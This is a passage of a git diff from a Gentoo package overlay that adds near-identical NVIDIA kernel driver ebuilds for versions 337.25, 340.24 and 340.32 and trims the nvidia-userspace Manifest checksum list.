+ if use kernel_linux; then
+ if kernel_is lt 2 6 9 ; then
+ eerror "You must build this against 2.6.9 or higher kernels."
+ fi
+
+ # If greater than 2.6.5 use M= instead of SUBDIR=
+# convert_to_m "${NV_SRC}"/Makefile.kbuild
+ fi
+ if use pax_kernel; then
+ ewarn "Using PAX patches is not supported. You will be asked to"
+ ewarn "use a standard kernel should you have issues. Should you"
+ ewarn "need support with these patches, contact the PaX team."
+ epatch "${FILESDIR}"/${PN}-331.13-pax-usercopy.patch
+ fi
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ elif use kernel_linux; then
+ use uvm && MAKEOPTS=-j1
+ linux-mod_src_compile
+ fi
+}
+
+src_install() {
+ if use kernel_linux; then
+ linux-mod_src_install
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+ use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+ use kernel_linux && linux-mod_pkg_postinst
+
+ echo
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+
+ elog "This package installs a kernel module and X driver. Both must"
+ elog "match explicitly in their version. This means, if you restart"
+ elog "X, you must modprobe -r nvidia before starting it back up"
+ elog
+
+}
+
+pkg_postrm() {
+ use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-337.25.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-337.25.ebuild
new file mode 100644
index 00000000..bcfd2149
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-337.25.ebuild
@@ -0,0 +1,168 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X uvm"
+RESTRICT="bindist mirror strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+ x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+ multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+ ~x11-drivers/nvidia-userspace-${PV}[tools=]
+ ~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S=${WORKDIR}/
+
+pkg_pretend() {
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ use uvm && MODULE_NAMES+=" nvidia-uvm(video:${S}/kernel/uvm)"
+
+ # This needs to run after MODULE_NAMES (so that the eclass checks
+ # whether the kernel supports loadable modules) but before BUILD_PARAMS
+ # is set (so that KV_DIR is populated).
+ linux-mod_pkg_setup
+
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_SRC="${S}/src"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_SRC="${S}/kernel"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ if use kernel_linux; then
+ if kernel_is lt 2 6 9 ; then
+ eerror "You must build this against 2.6.9 or higher kernels."
+ fi
+
+ # If greater than 2.6.5 use M= instead of SUBDIR=
+# convert_to_m "${NV_SRC}"/Makefile.kbuild
+ fi
+ if use pax_kernel; then
+ ewarn "Using PAX patches is not supported. You will be asked to"
+ ewarn "use a standard kernel should you have issues. Should you"
+ ewarn "need support with these patches, contact the PaX team."
+ epatch "${FILESDIR}"/${PN}-331.13-pax-usercopy.patch
+ fi
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ elif use kernel_linux; then
+ use uvm && MAKEOPTS=-j1
+ linux-mod_src_compile
+ fi
+}
+
+src_install() {
+ if use kernel_linux; then
+ linux-mod_src_install
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+ use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+ use kernel_linux && linux-mod_pkg_postinst
+
+ echo
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+
+ elog "This package installs a kernel module and X driver. Both must"
+ elog "match explicitly in their version. This means, if you restart"
+ elog "X, you must modprobe -r nvidia before starting it back up"
+ elog
+
+}
+
+pkg_postrm() {
+ use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-340.24.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-340.24.ebuild
new file mode 100644
index 00000000..bcfd2149
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-340.24.ebuild
@@ -0,0 +1,168 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X uvm"
+RESTRICT="bindist mirror strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+ x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+ multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+ ~x11-drivers/nvidia-userspace-${PV}[tools=]
+ ~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S=${WORKDIR}/
+
+pkg_pretend() {
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ use uvm && MODULE_NAMES+=" nvidia-uvm(video:${S}/kernel/uvm)"
+
+ # This needs to run after MODULE_NAMES (so that the eclass checks
+ # whether the kernel supports loadable modules) but before BUILD_PARAMS
+ # is set (so that KV_DIR is populated).
+ linux-mod_pkg_setup
+
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_SRC="${S}/src"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_SRC="${S}/kernel"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ if use kernel_linux; then
+ if kernel_is lt 2 6 9 ; then
+ eerror "You must build this against 2.6.9 or higher kernels."
+ fi
+
+ # If greater than 2.6.5 use M= instead of SUBDIR=
+# convert_to_m "${NV_SRC}"/Makefile.kbuild
+ fi
+ if use pax_kernel; then
+ ewarn "Using PAX patches is not supported. You will be asked to"
+ ewarn "use a standard kernel should you have issues. Should you"
+ ewarn "need support with these patches, contact the PaX team."
+ epatch "${FILESDIR}"/${PN}-331.13-pax-usercopy.patch
+ fi
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ elif use kernel_linux; then
+ use uvm && MAKEOPTS=-j1
+ linux-mod_src_compile
+ fi
+}
+
+src_install() {
+ if use kernel_linux; then
+ linux-mod_src_install
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+ use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+ use kernel_linux && linux-mod_pkg_postinst
+
+ echo
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+
+ elog "This package installs a kernel module and X driver. Both must"
+ elog "match explicitly in their version. This means, if you restart"
+ elog "X, you must modprobe -r nvidia before starting it back up"
+ elog
+
+}
+
+pkg_postrm() {
+ use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-340.32.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-340.32.ebuild
new file mode 100644
index 00000000..bcfd2149
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-340.32.ebuild
@@ -0,0 +1,168 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X uvm"
+RESTRICT="bindist mirror strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+ x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+ multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+ ~x11-drivers/nvidia-userspace-${PV}[tools=]
+ ~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S=${WORKDIR}/
+
+pkg_pretend() {
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ use uvm && MODULE_NAMES+=" nvidia-uvm(video:${S}/kernel/uvm)"
+
+ # This needs to run after MODULE_NAMES (so that the eclass checks
+ # whether the kernel supports loadable modules) but before BUILD_PARAMS
+ # is set (so that KV_DIR is populated).
+ linux-mod_pkg_setup
+
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_SRC="${S}/src"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_SRC="${S}/kernel"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ if use kernel_linux; then
+ if kernel_is lt 2 6 9 ; then
+ eerror "You must build this against 2.6.9 or higher kernels."
+ fi
+
+ # If greater than 2.6.5 use M= instead of SUBDIR=
+# convert_to_m "${NV_SRC}"/Makefile.kbuild
+ fi
+ if use pax_kernel; then
+ ewarn "Using PAX patches is not supported. You will be asked to"
+ ewarn "use a standard kernel should you have issues. Should you"
+ ewarn "need support with these patches, contact the PaX team."
+ epatch "${FILESDIR}"/${PN}-331.13-pax-usercopy.patch
+ fi
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ elif use kernel_linux; then
+ use uvm && MAKEOPTS=-j1
+ linux-mod_src_compile
+ fi
+}
+
+src_install() {
+ if use kernel_linux; then
+ linux-mod_src_install
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+ use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+ use kernel_linux && linux-mod_pkg_postinst
+
+ echo
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+
+ elog "This package installs a kernel module and X driver. Both must"
+ elog "match explicitly in their version. This means, if you restart"
+ elog "X, you must modprobe -r nvidia before starting it back up"
+ elog
+
+}
+
+pkg_postrm() {
+ use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-userspace/Manifest b/x11-drivers/nvidia-userspace/Manifest
index ff0bcb08..74281f93 100644
--- a/x11-drivers/nvidia-userspace/Manifest
+++ b/x11-drivers/nvidia-userspace/Manifest
@@ -1,104 +1,31 @@
-AUX 09nvidia 61 SHA256 14702d6726cc9f0ad832a3cc90059999eb956f9e3a35397cb63cfa6347b33e39 SHA512 14c47fa164bde3422b64224e3e46e0a6097599de6193b6d36eb162271d41130f0498f6aee09f5cb60fe43727bf74051f9127afa1b4af42efc28d40af2e4fa86f WHIRLPOOL 34bc9975d132da84506a61a119a5d8d8b5be35af5c1511b5e3228fa3d9f0f3b7f84821c0ab09252054d1471ac7901522309d440c82342d6dfdd2beb73f680460
-AUX 90mutter-disable-culling 110 SHA256 1002661324e8a958574a92c411c554d6f002d3faeac5d60d3b6602580c266b69 SHA512 c3d61f276cc7520c99d493764df24bfa0f4e0d41763057c8d53b221ca2767e062ad79fa7125195bf520054e33645350a227b5dd6120134e1fcba86fa4986a969 WHIRLPOOL c408a20e5f06b574413543466be7d2c584020ce1c2087fe961e427f9d65561c9164a2fa41debc10cdc31006661b0af3d6a87f76c50778b9659bebee5e00c41d9
-AUX NVIDIA_glx-defines.patch 437 SHA256 0007f3d962edb87da4788ce58869679c1b10f28223a6bf1c23696fede57305da SHA512 a9cbbe5d5d362db0eb92d5b9fe87f28cccb600df9b44ae2b323ed08da97c32d6a4a0553c7c82ea3777ab91a1a4bf6b74f04d89b6ec28e60565e677cc4af48351 WHIRLPOOL a826b11c86803530346a65612ebd1a12f77f6c6ba1d93af597435993086451648b825fbc245a2c5850e0680c58129924843744d7e29013d5087c3b4dd9fefb14
-AUX NVIDIA_glx-glheader.patch 380 SHA256 f630e24067bf6199a64f8fe8c5d6fc158cb4b153bda65ffc3f97b36a9cb08faf SHA512 366ebbe967001f4d694e9d6ae61fbd8b57e2946bba495894936809634bb87bd6ba6b10689969977e4d0eaba6983c16fe8d78830112b5b28f01c78381a0a095d6 WHIRLPOOL 8609fcedb439299189d9d05606a290a63de8b207bab855f874faa36e892396f41159d26e505dfead89fdac9d7e61aeeb50b16877aa14ad62dc3cd617353d7d60
-AUX eblits/donvidia.eblit 695 SHA256 d404dd7e5657d83ccf3687720fb978030a3716e47957fb8bb80dea3ed57b3672 SHA512 606d2a496ddae2ac89d3ac0ce5b80bac90cabfe74d6b29c577ab047c3b83ce8965bb4b91b29f37bf55d4f34eaab623ac886760920efb9d306d3904cb3b51291c WHIRLPOOL e0a945c4cbaa0514e19eecf8faa4daaa76c8fc6392fb9a2a607e011e7994c535a3ba4b024de9ee9f4f34c7d4e0d48a0c3315f4cf9687be05fb577ec8dd3c0fe2
-AUX eblits/mtrr_check.eblit 629 SHA256 ae1b8fb37985fc3e42a4a776779b3fe3d70be2c826df5c3f99d03ba7209ca0b1 SHA512 db1bcee808c616536e21f98d65cd0c2b64b26b8b0db827decfc8fe12b031431bf961f1f2016a22170b9400672aeb508f548a66c15018570b44fe1cd535692f86 WHIRLPOOL 4f4961dc5aa71f273871f9171f485aaf5dd27906a564e1967b9298362b2302d9b137a757c6e6918b4b3d1efef75b0ed266f08d83c898e0a1f2b47653e1ca7335
-AUX eblits/src_install-libs.eblit 3472 SHA256 6f301de374736cec316794bf1935a15de025b3c505981f24e06e3df75818ad6a SHA512 f3dd0cb69276cec6f2b7cbb452c77c8e0a82fc37514c31a21fb9a251e38027e4adfdda6ca8b1897635897608a0e70c81f03ff88466a7db1387ed7a4241924ce8 WHIRLPOOL a2e84fba09347bec9b27129f02311696938ad5ca61fa7ff8d9efa10ad9c63a01a622cba1d08b1e166c737e88b50add234c7c0d59b88e5b64442269a7dd47cbf8
-AUX eblits/want_tls.eblit 952 SHA256 e5ce767a2e9a5c0682e764b9ba42a20e721a093f4c0626605570c8b5e3afecd0 SHA512 eafa21a324f095e3d80ac0385c1a5159011a57e3aa2465927c71524c6329147f2ee804f6b0772d4ad97083637451df397be0da748d8674d5be42b308fb25ae2d WHIRLPOOL 8291d0fa548518926252fafabaa0ebbfd7ac165b380650beeed17c86918f95d658a3daadab6c4bde0adbdf1ce7b63a88ed6135cfcf9dceb4798f0b1ccefc8fcc
-AUX libGL.la-r2 733 SHA256 4856e7a2c31763ade41c93a395f3e80a2705ac2ab4dbd73e5161cdba132f407b SHA512 52fbc3d704274fc5403b95a5d696824684302f4a77e0b08d5a59850435b12d9bdc4cf931f346f91e950f246cc342e0a673e7657cc2cea95e991ed3aab8c1c928 WHIRLPOOL 6a0006277a8444b4b5191a7e07c972efde43c3a9ff8a7286d1d1f78c69c3ba394572f31716b684f1e28355572a6e9f9cbd5437bb9dba127d727f8789fbd2a980
-AUX nvidia 1510 SHA256 b193cc3f6d6f39138720a2282d9f161fc8f2e8a15bc43d183a30eb879add06c5 SHA512 4ffdf49c2634b261be122a0016b0f69d30db6fe4b4a29767cfeee2e1d60671e7e6fc5e5c3a237b351a4def64404db121cf296a0cdb6e1bbd4f8e78ab40587000 WHIRLPOOL faab4c87940e4703b2a30f284cae34bdf4ac486cb1d402b5bd91ef65c23f443c2c961ad914fbcbd5258dd5bbaeee583f189fcf5fc14f2b9925c8ccfa0fc422c7
-AUX nvidia-169.07 639 SHA256 a8c4860f008d53776fda7a17b59524f271236559af688e9a2c9845cbbcba1577 SHA512 3af295c026280dc3a2b73c2cc7772254686b09cad15f1333ab0b4de8cb0ccf78e725ced2a399b10edcf8af6ba42ab1485dc0661af67461b0c3789f786357772f WHIRLPOOL 626ae3c01c879e0cfe05bd373e0b9dfd6f462dd9ef6ae94a7d60276fe2d17c57fbb20aaa4d2a186a0ffc2a860076692aac854d00a3545bc9736e7bb8d0581055
-AUX nvidia-smi.init 671 SHA256 5776a661b510e072d34e779c23dfc710a13d04c49acc22772d2aeb0e415820d6 SHA512 f71bcdf2fcaf4aac69056a04f3e57c9f5e4d6c210fe571704d3f9a0798cc9615cd0560840ae336744f43563528db5b9a7b67730895eff438be330b13ab863ed6 WHIRLPOOL db48549b0d2b02d2f9ca6a86f38229dae67853939ac1c2147d5066b9b8958c2e0fb8539f70ddf5c92ae6ad642bb48ea8b1119d1779c80dd66bb450240fd0b40a
-AUX nvidia-udev.sh 185 SHA256 120c0af2b64fbcbd7032217a78eec8b104874c1ca68726367bce22c57944e07e SHA512 166df3a4e7c1862ca2e0f634bf5eed7aad1bdd7e55764ca42371b91a7077c59f0bc243de5616fd38dac9694159d1695d54fbd08ac89d4d3f3649c70c7db5977e WHIRLPOOL cb9995029cdb2fe1bc7fe5ae54041ee5de8da86bf5eb3616d062475e56c44d436e1e66683ecddd986fc5bca5723d88da4b1a42f65f3cd7e15636928bd21fce14
-AUX nvidia.udev-rule 462 SHA256 37b152a5055a16d1947171567178e2841679ddf03dba9d48e7d30f1e3b469ac6 SHA512 96f9edaa0b46bea5fce17596f868bea5265b303d7185af6ba81527bbd7b8fdf92de9311317cbde51a29d222083d451c25ab77c3d6837cbc4072a50d9af89aa86 WHIRLPOOL 89ed95f33db7485a3a1acd91df33ecdfb7d0a249db2d7674f134fb85b35a54653d0458e478503315ce506ae5d3c8dcd4ac20420711fdbdd087ea4bd779627d13
-DIST NVIDIA-FreeBSD-x86-173.14.31.tar.gz 17991684 SHA256 98699bc8dc1dad86cebc2ed067b4fc5cd37b8540e897bb218f38ac80c4b4d875 SHA512 4e6fbbeaff54563a135346e60372046cb2cd2562cc606836dc3169d4f50c0b112095b1f0f3f14f2f0facf2be1235064c13766432a04b927f2ab81ef50c8f4f34 WHIRLPOOL 0cc4f196d7ccbdd45f8584fef9f98dd1af2fa260a8e694a6000e5436ae2ab35df6ba5f8967261e36f0107962744423fc73eef9d0e59807f78536ecf8de0f5963
-DIST NVIDIA-FreeBSD-x86-173.14.34.tar.gz 18792829 SHA256 44368464ad72addb999aa7bf3a1d684d4cddd1bba08d7bca9e45a825cb8865ae
-DIST NVIDIA-FreeBSD-x86-173.14.35.tar.gz 18748428 SHA256 51e82a12db81b5af4ae5ee59612875c0dbef52cb641d61a44c72f2e1cd7f4c78
-DIST NVIDIA-FreeBSD-x86-275.09.07.tar.gz 30304023 SHA256 d5d119c2f066539da0f2d1926193f6bc2bfbf2a1dcdff77322a23b42c5df91d9
-DIST NVIDIA-FreeBSD-x86-280.13.tar.gz 29589886 SHA256 2ad1882467a2d8a0b65dfa15e710e4938786e51f688e1d02d4d3343868b9239e
-DIST NVIDIA-FreeBSD-x86-285.05.09.tar.gz 30697710 SHA256 d3ad51145cd57c70678ee659112a0973187b1b02e3062addadd0fe094b3c46fb
-DIST NVIDIA-FreeBSD-x86-290.10.tar.gz 32042469 SHA256 f5accbdac0b231a8073f76c1d1d8ace7cb98ebe167888c31183a2752a669ee92
-DIST NVIDIA-FreeBSD-x86-295.20.tar.gz 31993959 SHA256 fea6d5552a50e2aedc4726944fea85ac8baf0d0b26661fc3b1f97f54ebec6736
-DIST NVIDIA-FreeBSD-x86-295.33.tar.gz 32039170 SHA256 e3f8052fdac78defafcef495febea2a77f820f2c4c9ecbe47fb92bf630321afc
